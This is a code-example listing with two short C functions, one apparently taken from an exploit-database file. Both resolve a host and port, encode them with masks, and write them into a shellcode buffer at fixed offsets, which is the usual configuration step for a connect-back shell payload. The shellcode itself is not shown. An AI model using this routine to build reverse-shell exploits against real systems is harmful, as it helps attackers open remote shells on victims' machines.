コード例 #1
0
void initasmcode(char *addr,int port) {
 char abuf[4],amask[4],pbuf[2],pmask[2];
 char name[256];
 struct hostent *hp;
 int i;

 if (!addr) gethostname(name,sizeof(name));
  else strcpy(name,addr);

 if ((i=inet_addr(name))==-1) {
  if ((hp=gethostbyname(name))==NULL) {
   printf("error: address\n");exit(-1);
  }
  memcpy(&i,hp->h_addr,4);
 }

 putaddr(abuf,rev(i));

 pbuf[0]=(port>>8)&0xff;
 pbuf[1]=(port)&0xff;

 findvalmask(abuf,amask,4);
 findvalmask(pbuf,pmask,2);

 memcpy(&shellcode[AOFF],abuf,4);
 memcpy(&shellcode[AMSK],amask,4);
 memcpy(&shellcode[POFF],pbuf,2);
 memcpy(&shellcode[PMSK],pmask,2);
}
コード例 #2
0
ファイル: 22314.c プロジェクト: 0x24bin/exploit-database
void fixshellcode(char *host, unsigned short port) {
	unsigned long ip;
	char abuf[4],amask[4],pbuf[2],pmask[2];
	if ((ip = inet_addr(host)) == -1) {
		struct hostent *hostm;
		if ((hostm=gethostbyname(host)) == NULL) {
			printf("Unable to resolve local address\n");
			exit(0);
		}
		memcpy((char*)&ip, hostm->h_addr, hostm->h_length);
	}
	abuf[3]=(ip>>24)&0xff;
	abuf[2]=(ip>>16)&0xff;
	abuf[1]=(ip>>8)&0xff;
	abuf[0]=(ip)&0xff;
	pbuf[0]=(port>>8)&0xff;
	pbuf[1]=(port)&0xff;
	findvalmask(abuf,amask,4);
	findvalmask(pbuf,pmask,2);
	memcpy(&code[33],abuf,4);
	memcpy(&code[38],amask,4);
	memcpy(&code[48],pbuf,2);
	memcpy(&code[53],pmask,2);
}